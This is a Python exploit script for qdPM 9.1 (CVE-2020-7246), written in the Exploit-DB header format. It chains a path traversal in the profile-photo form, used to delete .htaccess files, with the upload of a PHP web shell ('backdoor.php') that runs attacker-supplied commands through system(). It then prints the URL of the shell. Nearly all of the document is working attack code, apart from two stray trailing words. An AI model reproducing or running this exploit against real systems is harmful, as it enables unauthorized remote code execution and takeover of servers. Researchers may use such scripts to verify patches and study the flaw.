# Exploit Title: qdPM 9.1 - Remote Code Execution
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2020-01-22
# Exploit Author: Rishal Dwivedi (Loginsoft)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Windows 10 (Python 2.7)
# CVE : CVE-2020-7246
# Exploit written in Python 2.7
# Tested Environment - Windows 10
# Path Traversal + Remote Code Execution
# Command - qdpm-exploit.py -url http://localhost/ -u user@localhost.com -p password
# -*- coding: utf-8 -*-
#!/usr/bin/python
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
uservar,
):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
):
request_1 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'.htaccess',
)
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
, files=request_1)
request_2 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'../.htaccess',
)
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
, files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php',
'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
, 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME
+ 'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
result = session_requests.get(HOSTNAME + '/index.php/login')
login_tree = html.fromstring(result.text)
authenticity_token = \
list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value"
)))[0]
payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login',
data=payload,
headers=dict(referer=HOSTNAME
+ '/index.php/login'))
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
)
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ = \
account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
final_tree = html.fromstring(get_file.content)
backdoor = \
final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
+ backdoor[-1] + '?cmd=whoami'
if __name__ == '__main__':
parser = \
ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
)
parser.add_argument('-url', '--host', dest='hostname',
help='Project URL')
parser.add_argument('-u', '--email', dest='email',
help='User email (Any privilege account)')
parser.add_argument('-p', '--password', dest='password',
help='User password')
args = parser.parse_args()
main(args.hostname, args.email, args.password)
Polish
English